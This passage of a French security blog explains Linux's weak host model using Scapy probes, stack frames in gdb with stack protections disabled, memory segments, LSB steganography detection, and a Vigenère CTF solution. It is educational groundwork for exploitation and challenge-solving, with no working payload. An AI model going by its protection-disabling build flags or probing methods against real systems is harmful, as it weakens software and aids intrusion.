<Padding  load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>>>
>>>  srp1(Ether()/IP(dst="192.168.0.1")/ICMP())
Begin emission:
Finished to send 1 packets.
*
Received 1 packets, got 1 answers, remaining 0 packets
<Ether  dst=00:17:42:2e:7d:77 src=00:19:b9:0d:a1:6d type=0x800 |
<IP  version=4L ihl=5L tos=0x0 len=28 id=25699 flags= frag=0L ttl=64 proto=icmp chksum=0x4bd3 src=192.168.0.1 dst=10.0.0.2 options=[] |
<ICMP  type=echo-reply code=0 chksum=0xffff id=0x0 seq=0x0 |
<Padding  load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>>>

Même résultat, les deux adresses IP fonctionnent parfaitement. Bien que le routage ne soit pas activé, l'adresse 192.168.0.1 reste toujours accessible, chose qui peut paraître surprenante.

La raison pour cela est l'implémentation de la pile IPv4 (l'implémentation IPv6 est différente) de Linux qui fonctionne dans le mode Weak Host Model. Dans ce mode là, les adresses IP sont associées à la machine alors que dans le Strong Host Model, les adresses IP sont associées à l'interface (chez Solaris, ou encore chez microsoft à partir de windows Vista mais c'est configurable).
Dit autrement, ça donne que dans le fonctionnement Strong Host Model un paquet est autorisé si seulement sa destination correspond à l'adresse IP de l'interface sur laquelle il arrive, alors que dans le Weak Host Model un paquet est autorisé si sa destination correspond à au moins une adresse IP des interfaces de la machine.

Remarque: L'interface lo est gérée de façon totalement différente.

De ce fait, routage ou non l'adresse IP 192.168.0.1 reste toujours accessible.

Il faut donc faire très attention quand nous avons un service qui écoute sur une interface bien précise, comme par exemple un service d'administration. Prenons Apache par exemple et limitons son adresse d'écoute sur l'interface eth1.

...
Listen 192.168.0.1:80
...

Vérifions que c'est bien le cas :

# netstat -atn | grep 80
tcp        0      0 192.168.0.1:80          0.0.0.0:*               LISTEN
Apache n'écoute bien que sur notre adresse IP 192.168.0.1. Regardons que ce service est accessible malgrè que le routage soit désactivé :

time0ut_client# scapy
Welcome to Scapy (2.1.0)
>>>  sr1(IP(dst="192.168.0.1",src="10.0.0.2")/TCP(flags="S",dport=80))
Begin emission:
..Finished to send 1 packets.
*
Received 3 packets, got 1 answers, remaining 0 packets
<IP  version=4L ihl=5L tos=0x0 len=44 id=0 flags=DF frag=0L ttl=64 proto=tcp chksum=0x7021 src=192.168.0.1 dst=10.0.0.2 options=[] |
<TCP sport=www dport=ftp_data seq=3809183495L ack=1 dataofs=6L reserved=0L flags=SA window=5840 chksum=0x4c23 urgptr=0 options=[('MSS', 1460)] |
<Padding  load='\x00\x00' |>>>

On peut voir le résultat dans le flag de la réponse TCP ici c'est un SA pour Syn-Ack. Un service est donc en écoute sur notre port 80, même si le routage n'est pas actif.

# curl http://192.168.0.1
Administration Page

Moralité, si vous voulez protéger vos services d'administration, utilisez plutôt un bon filtrage.

samedi 26 mars 2011

Fonctionnement de la pile

La pile est un élément crucial dans un programme qui peut être l'objet de beaucoup d'attaques. Il est important de bien comprendre son fonctionnement si on veut être capable d'en exploiter ses vulnérabilités.
Comme je l'ai expliqué dans la Segmentation de la mémoire d’un programme, lors de l'appel d'une fonction une zone de la pile est réservée appelée stack frame. Il permet de stocker tout les éléments nécessaires au bon fonctionnement de la fonction comme ses variables locales et ses arguments, et tout le nécessaire pour remettre la pile et le programme dans son état d'origine lorsque la fonction se sera terminée.

Le nom du segment (stack) lui vient de sa façon de fonctionner, il se comporte comme une pile avec un fonctionnement LIFO (Last In First Out) ou FILO (ce qui revient au même). A chaque fois qu'une fonction est appelée, un stack frame est empilé dans la pile, et à chaque fois qu'une fonction se termine, un stack frame est dépilé.


Voilà l'état de la pile dans le programme de mon précédent post juste avant le retour de la fonction g() appelée dans f().

La pile étant en réalité juste une zone mémoire, le programme a besoin de savoir où se trouve le sommet de la pile. Pour cela un registre du processeur existe et s'appelle ESP qui pointe toujours sur le sommet (paradoxalement le sommet de pile est l'adresse la plus basse de la pile). De la même façon un registre nommé EBP pointe sur le début du stack frame courant (et a donc une adresse plus haute).

Exécution d'une fonction

L'exécution d'une fonction se fait en plusieurs étapes :
  • La préparation des arguments de la fonction
  • L'appel de la fonction
  • Prologue de la fonction qui va permettre de réserver l'espace nécessaire aux variables locales
  • L'exécution de la fonction
  • Le retour de la fonction et la libération du stack frame
Chaque étape va être décrite précisément sur le programme suivant et grâce à gdb muni d'un .gdbinit bien configuré (merci au blog de StalkR pour me l'avoir fait découvrir).
#include <stdio.h>
#include <stdlib.h>
 
void f(int x, int y) {
 int local1 = 1;
 char local2[] = "buffer";
 return;
}
 
int main(int argc, char **argv) {
 f(1,2);
 
 return EXIT_SUCCESS;
}
# gcc stack_frame.c -w -O0 -ggdb -std=c99 -static -D_FORTIFY_SOURCE=0 -fno-pie -Wno-format -Wno-format-security -fno-stack-protector -z norelro -z execstack -o stack_frame
Il est important de bien compiler le programme avec les mêmes options, sinon gcc met certaines protections sur la pile qui vont rendre les choses plus compliquées à comprendre, comme l'inversion ou l'ajout de certaines zones mémoires. Cela s'appelle le SSP ou Stack Smashing Protection, que j'essaierai de développer dans un autre article.

Préparation des arguments de la fonction

On commence par désassembler le programme :
time0ut# gdb -q stack_frame
Reading symbols from time0ut/stack_frame...done.
gdb$ dis main
Dump of assembler code for function main:
   0x080482c0 <+0>: push   ebp
   0x080482c1 <+1>: mov    ebp,esp
   0x080482c3 <+3>: sub    esp,0x8
   0x080482c6 <+6>: mov    DWORD PTR [esp+0x4],0x2
   0x080482ce <+14>: mov    DWORD PTR [esp],0x1
   0x080482d5 <+21>: call   0x80482a0 
   0x080482da <+26>: mov    eax,0x0
   0x080482df <+31>: leave  
   0x080482e0 <+32>: ret 
End of assembler dump.1
gdb$ dis f
Dump of assembler code for function f:
   0x080482a0 <+0>: push   ebp
   0x080482a1 <+1>: mov    ebp,esp
   0x080482a3 <+3>: sub    esp,0x10
   0x080482a6 <+6>: mov    DWORD PTR [ebp-0x4],0x1
   0x080482ad <+13>: mov    DWORD PTR [ebp-0xb],0x66667562
   0x080482b4 <+20>: mov    WORD PTR [ebp-0x7],0x7265
   0x080482ba <+26>: mov    BYTE PTR [ebp-0x5],0x0
   0x080482be <+30>: leave  
   0x080482bf <+31>: ret
End of assembler dump.
gdb$ b *0x080482d5
Breakpoint 1 at 0x080482d5: file stack_frame.c, line 11.
gdb$ r
Breakpoint 1, 0x080482d5 in main (argc=0x1, argv=0xbffff324) at stack_frame.c:11
11  f(1,2);
gdb$ x/2xw $esp
0xbffff280: 0x00000001  0x00000002


Les deux commandes spécifiées en gras permettent de mettre les arguments de la fonction sur la pile. L'argument 2 est mis en premier puis l'argument 1. Lors de l'appel d'une fonction les arguments sont donc mis dans l'ordre inverse.
La commande gdb x/2xw $esp permet d'afficher 2 mots (2*4 octets) en hexadécimal à l'adresse pointée par ESP qui a pour valeur 0xbffff280. On affiche donc 2 éléments de la pile qui sont les arguments 1 et 2.

L'état de la pile avant l'appel de la fonction (c'est à dire avant l'exécution de call 0x80482a0) est donc comme suit :

Appel de la fonction

Une fois les arguments de la fonction empilés, l'appel peut se faire via la commande call, qui se fait à l'adresse 0x080482d5. La commande call a deux objectifs :
  • Sauvegarder dans la pile l'adresse de l'instruction qui suit le call ce qui permettra de reprendre où on en est à la fin de l'exécution de la fonction. Cela se fera grâce au registre EIP qui pointe toujours sur la prochaine instruction à exécuter.
  • Sauter dans le code (segment text) de la fonction en modifiant le registre EIP pour que celui ci pointe sur la première instruction de la fonction et dont l'adresse est passée en paramètre à call.

On vérifie tout cela avec gdb :
gdb$ print/x $eip
$1 = 0x80482d5  # EIP pointe bien pour le moment sur l'instruction call
=> 0x80482d5 
: call 0x80482a0 0x80482da
: mov eax,0x0 0x80482df
: leave
gdb$ stepi # On exécute le call et donc on rentre dans la fonction gdb$ print/x $eip $2 = 0x80482a0 # Après le call EIP pointe sur la première instruction de f => 0x80482a0 : push ebp 0x80482a1 : mov ebp,esp 0x80482a3 : sub esp,0x10 gdb$ x/3xw $esp 0xbffff27c: 0x080482da 0x00000001 0x00000002 # Le sommet de pile a bougé et on a maintenant l'adresse de la prochaine instruction a exécuter après f

On peut remarquer que la prochaine instruction à exécuter après la fonction (0x080482da) se trouve 5 octets plus haut que l'instruction du call. C'est toujours le cas, car la taille de l'instruction call est de 5 octets.

Après le call, la tête de notre pile est donc la suivante :

Prologue de la fonction

Le prologue de la fonction va permettre de réserver l'espace nécessaire pour stocker les variables locales. Il est constitué de 3 instructions :
  • push ebp
  • Cette instruction va permettre de sauvegarder le registre EBP qui pointe encore sur le début du stack frame de la fonction appelante. Cela permettra de le restaurer après la fin de la fonction courante.
  • mov ebp,esp
  • Cette instruction permet de dire au programme que le début du stack frame commence ici. Heureusement on vient de sauvegarder EBP, donc on a pas perdu sa valeur.
  • sub esp,0x10
  • Cette instruction permet de réserver l'espace nécessaire aux variables locales de la fonction. Dans notre cas, on réserve 0x10 soit 16 octets. En réalité nous n'aurions besoin de réserver que 12 octets (local1 fait 4 octets et local2 7 octets, mais comme on fonctionne par mot de 4 octets, cela fait 12). Cependant le compilateur gcc alloue un supplément de mémoire. Il faut noter que comme la pile grandit vers les adresses basses, la réservation d'espace se fait via une soustraction et non une addition.
On vérifie tout cela avec gdb:
gdb$ print/x $ebp
$3 = 0xbffff288
gdb$ stepi # Exécution de push ebp
gdb$ x/4xw $esp
0xbffff278: 0xbffff288 0x080482da x00000001 0x00000002 # Le sommet de pile a bougé et on a maintenant l'adresse de EBP
gdb$ stepi # Exécution de mov ebp,esp
gdb$ x/4xw $ebp
0xbffff278: 0xbffff288 0x080482da x00000001 0x00000002 # EBP et ESP pointent sur la même zone mémoire
gdb$ stepi # Exécution de sub esp,0x10
gdb$ print/d $ebp-$esp
$4 = 16 # On vient de réserver 16 octets
gdb$ stepi # On passe toutes les inialisations des variables locales
gdb$ stepi
gdb$ stepi
=> 0x80482be : leave  
   0x80482bf : ret    
   0x80482c0 
: push ebp
gdb$ x/8xw $esp 0xbffff268: 0x080cd0ac 0x66756200 0x00726566 0x00000001 0xbffff278: 0xbffff288 0x080482da 0x00000001 0x00000002

La valeur 0x080cd0ac sur le sommet de pile est une valeur ajoutée par gcc. Elle ne nous intéresse pas. Les valeurs 0x66756200 et 0x00726566 sont en réalité la variable locale appelée local2 dans f() : 0x66 (f) 0x75 (u) 0x62 (b) 0x72 (r) 0x65 (e) 0x66 (f). La valeur suivante est la variable local1.


gdb$ x/12b 
0xbffff26c: 0x00 0x62 0x75 0x66 0x66 0x65 0x72 0x00
0xbffff274: 0x01 0x00 0x00 0x00


Comme on peut le voir ici, et plus particulièrement à l'adresse 0xbffff274, les octets sont stockés en mémoire dans le sens inverse, c'est à dire que les octets de poids faible sont stockées en premier. Ceci est dû au fait je tourne sur une architecture x86 qui est en little endian.

Voilà ce que donne la mémoire si on précise l'ordre des octets :

Si la variable local2 commence à l'adresse 0xbffff26d et non à l'adresse 0xbffff26c c'est car le compilateur connaît exactement la taille du buffer qui fait 7 octets (taille de la chaine "buffer" + \0). L'octet 0x00 de l'adresse 0xbffff26c, est juste du padding.

Retour de la fonction et libération du stack frame

Le retour d'une fonction se fait par les instructions leave puis ret.
  • Instruction leave
  • L'instruction leave a pour objectif de supprimer le stack frame, c'est à dire de rétablir les registres ESP et EBP à leur valeur avant le call. Elle est équivalente aux deux commandes suivantes : 
    • mob esp,ebp qui aurait pour objectif de remettre ESP à la même valeur que EBP (c'est à dire pointant sur la zone mémoire contenant l'ancienne valeur de EBP).
    • pop ebp qui aurait pour objectif de remettre l'ancienne valeur de EBP dans EBP, et du coup de décrémenter ESP de 4 octets pour qu'il pointe sur l'instruction suivant le call
    Bien entendu le leave se fait en une seule instruction, du coup l'état intermédiaire présenté dans la première figure n'existe pas réellement.
  • Instruction ret
  • L'instruction ret a pour objectif de remettre le registre EIP à la valeur qui pointe sur l'instruction après le call. Suite au leave, ESP pointe sur une zone mémoire contenant l'adresse de l'instruction suivant le call. Elle est donc équivalent à l'instruction pop eip.

Même si les variables locales sont toujours présentes dans la pile, elles sont considérées comme de l'espace vide. La pile se retrouve donc dans l'état qui était le sien avant le call. La fonction appelante (ici main) a en charge de nettoyer les paramètres.

Cet article permet d'expliquer précisément le fonctionnement de la pile. Il peut y avoir certaines différences en fonction de l'architecture sur laquelle tourne le programme, du compilateur ou même des options de compilation. Cependant l'idée principale reste la même. La compréhension de cet article sera nécessaire pour la compréhension de quelques uns de mes prochains articles.

mercredi 23 mars 2011

Segmentation de la mémoire d'un programme

Quand on s'essaye à l'exploitation de binaire, il est impératif de connaître parfaitement comment fonctionne un programme et comment sa mémoire est segmentée.
La mémoire d'un programme est divisée en plusieurs segments :
  • text
  • data
  • bss
  • heap (ou tas en français)
  • stack (ou pile en français)
Chaque segment contient des données bien précises.

Le segment text contient les instructions du programme avec toute sa logique. Ce segment est en lecture seule car le code n'est pas modifié lors de l'exécution. Cela permet d'avoir plusieurs processus qui partagent cette même zone. Quand plusieurs utilisateurs exécutent la commande ls en même temps par exemple, le code de la commande contenu dans le segment text n'est pas dupliqué, il est partagé par tous les processus. Cela ne pose aucun problème car cette zone ne peut être modifiée.

Les segments bss et data permettent de stocker les variables globales et statiques du programme. Les variables initialisées sont stockées dans le segment data alors que les variables non initialisées sont situées dans le segment bss. Contrairement au segment text, les segments bss et data ne sont pas en lecture seule (le programme peut modifier ses variables globales et statiques au cours de son exécution), par contre leur taille est fixe puisque connue dès la compilation du programme.

Le segment heap est une zone qui va permettre l'allocation de mémoire de façon dynamique, via les fonctions bien connues de type malloc. Ce segment a donc une taille variable car les zones mémoires vont pouvoir être allouées/désallouées dynamiquement en fonction des besoins du programme.

Le segment stack ou pile a pour objectif de stocker les variables locales des fonctions ainsi que le contexte de ces dernières (arguments...). A chaque fois qu'une fonction est appelée par un programme, une zone mémoire lui est allouée dans la pile on appelle ça un stack frame. Chaque appel de fonction produit un nouveau stack frame propre à cet appel, ce qui permet par exemple d'avoir des contextes complètement différents pour la même fonction et donc des comportements différents. Quand la fonction se termine, le stack frame est détruit. La pile est aussi de taille variable, car il n'est pas possible de savoir quelles fonctions et combien de fois elles seront appelées. Au fur est à mesure des appels de fonction la pile va grandir et diminuer. Contrairement au segment heap, la pile grandit vers les adresses basses : Plus les stack frames se rajoutent et plus leurs adresses sont basses.

Le programme suivant va permettre de mettre en évidence les différentes explications que je viens de donner (il est largement commenté) :
#include <stdio.h>
#include <stdlib.h>
 
// Variables globales non initialisées qui vont dans le segment BSS
int global_a;
static static_a;
 
// Variables globales initialisées qui vont dans le segment DATA
int global_b = 1;
static int static_b = 2;
 
void g(void);
 
void f(void) {
 // Variable locale de f qui va dans le segment STACK
 int local_f_a= 1;
 
 // Variable statique initialisée, donc va dans le segment DATA
 // La valeur est commune lors de tous les appels de fonction
 static int static_f_c = 3;
 
 printf("Addresse Variable local_f_a : %08x\n",&local_f_a);
 printf("Addresse Variable static_f_c : %08x\n",&static_f_c);
 
 g();
 
 return;
}
 
void g(void) {
 // Variable locale de g qui va dans le segment STACK
 int *local_g_a = NULL;
 
 local_g_a = (int*)malloc(sizeof(int));
 
 printf("Addresse Variable local_g_a : %08x\n",&local_g_a);
 printf("Addresse pointee par local_g_a : %08x\n",local_g_a);
 
 free(local_g_a);
 
 return;
}
 
int main(int argc, char **argv) {
 // Variable locale de main qui va dans le segment STACK
 // main est une fonction comme une autre
 int local_main_a = 10;
 
 printf("Addresse Variable local_main_a : %08x\n",&local_main_a);
 printf("Addresse Variable global_a : %08x\n",&global_a);
 printf("Addresse Variable static_a : %08x\n",&static_a);
 printf("Addresse Variable global_b : %08x\n",&global_b);
 printf("Addresse Variable static_b : %08x\n",&static_b);
 
 f();
 g();
 
 return EXIT_SUCCESS;
}

L'exécution du programme donne :

# ./memory_segment
Addresse Variable local_main_a : bff082dc
Addresse Variable global_a : 0804a034
Addresse Variable static_a : 0804a030
Addresse Variable global_b : 0804a01c
Addresse Variable static_b : 0804a020
Addresse Variable local_f_a : bff082ac
Addresse Variable static_f_c : 0804a024
Addresse Variable local_g_a : bff0827c
Addresse pointee par local_g_a : 09e15008
Addresse Variable local_g_a : bff082ac
Addresse pointee par local_g_a : 09e15008
Les variables dont l'adresse est la plus basse sont les variables global_b, static_b et static_f_c. Normal, comme le montre le schéma plus haut, ce sont des variables globales et statiques initialisées, donc leur place est dans le segment data, la zone mémoire la plus basse après le code du programme. La variable static_f_c même si elle se trouve dans une fonction est d'abord une variable statique. Toutes les fonctions f() appelées utilisent la même zone mémoire pour cette variable. Une modification dans un appel, se verra donc dans l'appel suivant.

Ensuite viennent les variables global_a et static_a des variables globales non initialisées, donc dans le segment bss.

La variables locales ont une adresse beaucoup plus grande, commençant par 0xbff. Si on regarde l'ordre d'appel des fonctions, main() est créée avant f(). Du coup comme dit précédemment les variables de main() ont une adresse plus haute car la pile grandit vers les adresses basses. f() appelant g(), les variables de f() ont une adresse plus haute que celles de la fonction g() appelée dans f(). Par contre, lors de l'appel de g() dans main(), on voit que local_g_a a exactement la même adresse qu'avait local_f_a. Cela ne pose aucun problème, la fonction f() est totalement terminée, du coup son stack frame a été détruit, et le stack frame de g() s'est créée au même endroit.

La variable local_g_a est une variable locale à g() donc située dans la pile. Par contre malloc alloue une zone mémoire qui elle pointe dans tas (ou heap). La zone mémoire qui stocke local_g_a est dans la pile, et l'adresse contenue dans cette zone mémoire pointe vers le tas.

dimanche 27 février 2011

Détection de LSB

Comme vu dans un de mes précédents articles, une technique largement utilisée en stéganographie consiste à cacher des informations dans les bits de poids faible (LSB) d'une image. Je vais décrire ici une méthode qui permet dans de nombreux cas de savoir si oui ou non une information est cachée dans ces bits.
Attention, il n'est pas question ici d'extraire cette information, car il existe une infinité de façon de cacher les données dans le LSB :
  • Un bit sur deux, un bit sur trois...
  • Choix des bits de certaines composantes de l'image uniquement (que dans la composante verte, rouge, bleue, ou toutes les combinaisons possibles)
  • Ordre des bits en lisant l'image ligne par ligne, colonne par colonne, une ligne sur 2....
  • Lecture des bits à l'envers ou non
  • Utilisation des bits de poids le plus faible, ou de poids un peu plus important (avec comme conséquence une altération de l'image plus importante)
  • ...
Toutes les techniques ou combinaisons de techniques sont possibles tant qu'elles sont partagées par l'émetteur du message stéganographié et son récepteur.

Le point important est que toutes les méthodes stéganographiques à base de LSB altèrent le contenu de l'image et que même si cette légère modification n'est pas visible à l'œil nu, elle peut quand même être décelée si on utilise les bonnes techniques.

L'idée est la suivante, même si les bits de poids faibles sont porteurs de très peu d'information (comme vu dans mon article sur le LSB), ils ne sont tout de même pas distribués aléatoirement dans l'image. Porteur de très peu d'information, ne veut pas dire porteur d'aucune information. Dans une zone ou il n'y a qu'une couleur présente par exemple, il y a peu de chance qu'en plein milieu il y ait un pixel différent de tous ses voisins... possible, mais peu probable. Les bits de poids faibles respectent en règle générale l'apparence de l'image et les pixels sont cohérents entre eux.

Le but va donc être de visualiser cette cohérence entre les bits de poids faibles. Pour cela on va recréer l'image en "vidant" chaque bit des informations inutiles (c'est à dire les bits de poids fort). Seuls les bits susceptibles de cacher de l'information vont donc être gardés. Comme ce sont des bits de poids faibles, ils ont un impact faible sur le rendu de l'image et il sera donc très difficile de distinguer quoique soit. Il suffit pour cela d'augmenter le poids du bit en faisant un simple décalage binaire vers la gauche.
// On enlève les informations inutiles
composante = composante & 1;

// On augmente le poids du bit
composante = composante << 7;

Exemple :
Composante (décimale) 255 0 111 56
Composante (binaire) 11111111 00000000 01101111 00111000
Devient (binaire) 10000000 00000000 10000000 00000000
Devient (décimale) 128 0 128 0
Pour effectuer cette petite transformation sur les images j'utilise un petit outil que j'ai écrit :

# ./lsb.rb -h
lsb.rb [options] -i input_image -o output_image
Version 1.1
--colors|-c r|g|b: couleur que l'on veut garder
--bit|-b bit: bit que l'on va utiliser (par defaut 0)
--help|-h : affiche cette aide
--version|-v : affiche le numero de version

Utilisons ce petit programme sur cette image qui ne cache aucune information à l'intérieur.

# ./lsb.rb tux.png -o tux_lsb.png

Comme on peut le voir très clairement ici, la structure de l'image est ici conservée, et cela même dans les bits de poids faibles.

Cachons maintenant des informations dans notre image de départ et regardons le résultat :

# ./lsb_hide.rb -f hide.txt tux.png -o tux_hidden.png
# ./lsb.rb tux_hidden.png -o tux_hidden_lsb.png
On voit très clairement ici que quelque chose s'est passé sur le haut de l'image, puisque cette partie n'est plus du tout cohérente. La raison est qu'un message a été caché, et celui-ci étant court, toute l'image n'a pas été nécessaire pour le cacher.

Cette technique ne fonctionnera pas dans tous les cas, à plus forte raison si l'image est bruitée ou par exemple si elle avait été préalablement compressée en jpg. Cependant, je la trouve suffisamment intéressante pour être citée. De plus elle m'a rendu de précieux services lors de certains challenges.

samedi 26 février 2011

NDH Cryptographie Epreuve 3

L'épreuve 3 de cryptographie de la nuit du hack 2010 se présente de cette façon :

Ws szdv od gowhooehzb od nsesp saqpigd pge kp ao5 cp qp spled doyr pgazns
Pour commencer et pour tous les messages chiffrés, il est important de faire une bonne première analyse pour écarter les mauvaises pistes. Ici plusieurs éléments sont marquants :

  • Le message chiffré contient une majuscule en début de phrase
  • Le message chiffré contient des espaces, et la proportion des "mots" semble respectée
  • Le chiffre 5 apparaît dans le message chiffré, avec deux caractères avant ce qui nous fait penser à md5
Ici on écarte rapidement le chiffrement de transposition, car la majuscule en début de phrase et la proportion des mots qui semble respectée ne collent pas.

Le calcul de l'indice de coïncidence donne le résultat suivant (après retrait des espaces, du 5 et transformation du W en w) :

# ./indice_coincidence.rb "wsszdvodgowhooehzbodnsespsaqpigdpgekpao cpqpspleddoyrpgazns"
0.0647307924984876
L'indice de coïncidence est proche de celui de l'anglais et un peu bas pour du français. Cependant le texte est très court, et se fier aveuglément sur l'indice de coïncidence sur un texte de cette longueur est risqué.
Même si la substitution mono-alphabétique a déjà été utilisée lors de la ndh, c'était une mono-substitution particulière puisqu'un chiffrement de césar, donc on se lance dans cette voie, peut être sans issue.

Des outils existent pour casser une mono-substitution comme SCBSolvr. Cependant je trouve que dans ce genre de challenge, le cheminement vers la solution est plus important que la solution en elle même, du coup on n'utilisera pas cet outil.

J'ai écrit un petit outil sans prétention, permettant de faire une recherche de motif dans une liste de mot. Par exemple si on lui passe 123123 ou abcabc en paramètre il sortira tous les mots comme coucou, tintin ou encore bonbon. Le 4° mot du message chiffré gowhooehzb paraît suffisamment long avec plusieurs lettres répétées, un candidat parfait comme pattern.
# pattern -f dict_fr.txt -p gowhooehzb

# pattern -f dict_en.txt -p gowhooehzb
Ca s'annonce mal... un mot de ce type n'existe ni en français, ni en anglais. Donc soit ce mot est un mot inventé, soit ce n'est pas une mono-substitution. On tente d'autres combinaisons pour confirmer ou infirmer nos hypothèses.
# pattern -f dict_fr.txt -p nsesp,spled,pgazns
...
balai aigle intuba
...
maias asdic stroma
...
Bon hormis le fait que mon dictionnaire est à retravailler... aucun groupe de mots ne semble réellement correspondre à ce que nous recherchons. La voie de la mono-substitution est donc sans issue.

On va tenter l'algorithme Vigenère qui est un algorithme très connu et largement utilisé dans les challenges. Plusieurs techniques existent pour casser l'algorithme Vigenère, mais ici une technique est à privilégier. L'analyse préalable du cipher a laissé supposer que le mot md5 était présent dans le texte en clair, une attaque par mot connue ou KPTA pour known Plain Text Attack sera donc utilisée.

Pour que md5 devienne ao5, il faut qu'il y ait un décalage de 14 (soit la lettre "O" dans l'alphabet) sur la première lettre et de 11 (soit la lettre "L" dans l'alphabet) sur la deuxième. On connait donc deux lettres de notre clé, on va tester ces deux lettres comme clé (et donc supposer que la clé fait deux caractères).
Cipher : WSSZDVODGOWHOOEHZBODNSESPSAQPIGDPGEKPAOCPQPSPLEDDOYRPGAZNS
Clé :    LOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLO
Plain :  LEHLSHDPVALTDATTONDPCETEEEPCEUVPESTWEMDOECEEEXTPSANDESPLCE
Intéressant... on devine le mot validation. L'algorithme de chiffrement est donc le bon mais la clé est encore mauvaise.

Le chiffré GOWHOOEHZB doit donc devenir VALIDATION. Pour cela, la clé doit être LOLZLOLZLO. On voit bien la répétition, on teste donc la clé LOLZ.

# vigenere.rb -d WSSZDVODGOWHOOEHZBODNSESPSAQPIGDPGEKPAOCPQPSPLEDDOYRPGAZNS -k LOLZ
LEHASHDEVALIDATIONDECETTEEPREUVEESTLEMDDECETEXTESANSESPACE
Voilà épreuve terminée :)

jeudi 17 février 2011

Indice de coïncidence

Quand on analyse un message chiffré, découvrir le type de chiffrement utilisé est primordial. Cette tâche n'est pas toujours évidente mais certains outils peuvent aider. Parmi ces outils l'indice de coïncidence ou IC est un passage obligé... autant que l'analyse de fréquence voire plus.

Présentation de l'Indice de Coïncidence

L'IC est une valeur décimale inventée par Wilfried Friedman et publiée en 1920 qui mesure la probabilité que deux lettres choisies aléatoirement dans un texte soient identiques.

La formule de l'IC est la suivante :
IC = SUM(1,N) Ni(Ni-1) / N(N-1

N : Nombre de lettre dans l'alphabet
Ni : Nombre d'occurrence de la lettre i
Chaque langue ayant ses propres caractéristiques, chaque langue a aussi un IC qui lui est propre (tableau original ici) :

LangueIndice
Russe0,0529
Serbe0,0643
Suédois0,0644
Anglais0,0667
Esperanto0,0690
Grec0,0691
Norvégien0,0694
Danois0,0707
Finnois0,0737
Italien0,0738
Portugais0,0745
Arabe0,0758
Allemand0,0762
Hébreu0,0768
Espagnol0,0770
Japonais0,0772
Français0,0778
Néerlandais0,0798
Malaysien0,0852


On peut trouver des IC différents selon les sources, tout dépend bien entendu du texte d'origine sur lequel il a été calculé. Par exemple un texte issu du livre La disparition de Georges Perec aura peu de chance d'être représentatif de la langue française et aura donc un IC bien différent.

Utilisation de l'Indice de Coïncidence


Bon c'est bien beau tout ça, mais ça n'explique pas en quoi l'IC peut aider au décryptage d'un texte. Pour commencer, la valeur de l'indice est indépendante des lettres utilisées, il mesure la probabilité de tomber deux fois sur la même lettre quelle que soit cette lettre.

Ce qui veut dire que dans le cas d'une substitution mono-alphabétique (césar, carré de polybe...), le texte chiffré et le texte en clair auront exactement le même IC. De la même façon les chiffres de transposition comme celui utilisé à la NDH par exemple, ne font que modifier l'ordre d'apparition des lettres dans le texte, sans en modifier la quantité, l'IC reste donc inchangé.

Quand on travaille sur un texte chiffré suffisamment long (pour être le plus représentatif possible), on peut donc facilement écarter certaines hypothèses grâce à cet outil. Si ce dernier a une valeur de 0.03 il y a peu de chance que ce soit une substitution mono-alphabétique ou une transposition, il faudra donc plus regarder en direction de chiffres polyalphabétiques par exemple de type Vigenère, Porta ou Gronsfeld qui eux modifient la quantité de chaque lettre.

L'utilisation de l'IC va bien au delà de la simple caractérisation du type de chiffrement utilisé. Prenons par exemple un texte en clair que l'on chiffre avec un algorithme qui va modifier la fréquence d'apparition de chaque lettre (Hill, ADFGVX, Playfair...), et on applique un surchiffrement dessus avec une substition mono-alphabétique. A priori l'exercice paraît compliqué pour passer du texte chiffré au texte en clair. Pourtant l'IC apporte ici une aide non négligeable.
Si on décide de faire une recherche exhaustive des clés du premier algo, il ne sera pas possible de savoir si on a trouvé la bonne clé, car le deuxième chiffrement nous masquera la réponse. Cependant on sait que le deuxième algo ne modifie pas l'IC. Il sera donc possible de réduire énormément l'espace de recherche, en ne sélectionnant que les textes qui ont un IC convenable. L'algorithme suivant permet d'expliquer cette démarche.
ecart_accepte = 0.01   // A adapter selon les besoins
Pour toutes les clés K faire
   plain = déchiffrer(cipher,K);
   Si abs(0.0778 - IC(plain)) < ecart_accepte Alors
      plain_possibles.add(plain);
   FinSi
FinPour
L'espace de recherche qui était constitué d'un ensemble aussi important que le nombre de clé est grandement réduit grâce à l'IC.

L'IC peut aussi être utilisé dans la recherche de la taille de la clé pour un message chiffré avec Vigenère. Cet algorithme modifie le rapport de fréquence d'apparition des lettres, et donc l'IC. Cependant il n'est ni plus ni moins qu'un ensemble de N décalages (N césar) où N est la taille de clé.

Prenons ce texte suivant : "CET ARTICLE PARLE DE L INDICE DE COINCIDENCE QUI EST UN OUTIL TRES UTILE EN CRYPTANALYSE" et chiffrons le avec la clé "CLE".

CETARTICLEPARLEDELINDICEDECOINCIDENCEQUIESTUNOUTILTRESUTILEENCRYPTANALYSE
CLECLECLECLECLECLECLECLECLECLECLECLECLECLECLECLECLECLECLECLECLECLECLECLEC
EPXCCXKNPGAETWIFPPKYHKNIFPGQTRETHGYGGBYKPWVFRQFXKWXTPWWEMNPIPNVAAXCYENJWG

Les 1°, 4°, 7°... caractères sont chiffrés avec le caractère C et sont donc décalés de 2 caractères (3° lettre de l'alphabet).
Les 2°, 5°, 8°... caractères sont chiffrés avec le caractère L et sont donc décalés de 11 caractères (12° lettre de l'alphabet).
Les 3°, 6°, 9°... caractères sont chiffrés avec le caractère E et sont donc décalés de 4 caractères (5° lettre de l'alphabet).

Il y a donc 3 groupes de lettres dans le texte en clair qui subissent chacun un décalage différent et chaque groupe de lettre a un IC proche de celui de sa langue d'origine. Etant donné qu'un décalage n'est qu'une substitution mono-alphabétique, l'IC de chaque groupe de lettres chiffrées doit être proche de celui de la langue d'origine, si c'est pas le cas c'est que le groupe n'est pas bon et que donc la taille de la clé est fausse.
# ./friedman_test.rb 1 4 EPXCCXKNPGAETWIFPPKYHKNIFPGQTRETHGYGGBYKP
WVFRQFXKWXTPWWEMNPIPNVAAXCYENJWG
Taille Clé:1 => 0.05213089802130898
Taille Clé:2 => 0.04804804804804805 0.050793650793650794
Taille Clé:3 => 0.07333333333333333 0.09057971014492754 0.07608695652173914
Taille Clé:4 => 0.08187134502923976 0.0915032679738562 0.026143790849673203 0.032679738562091505
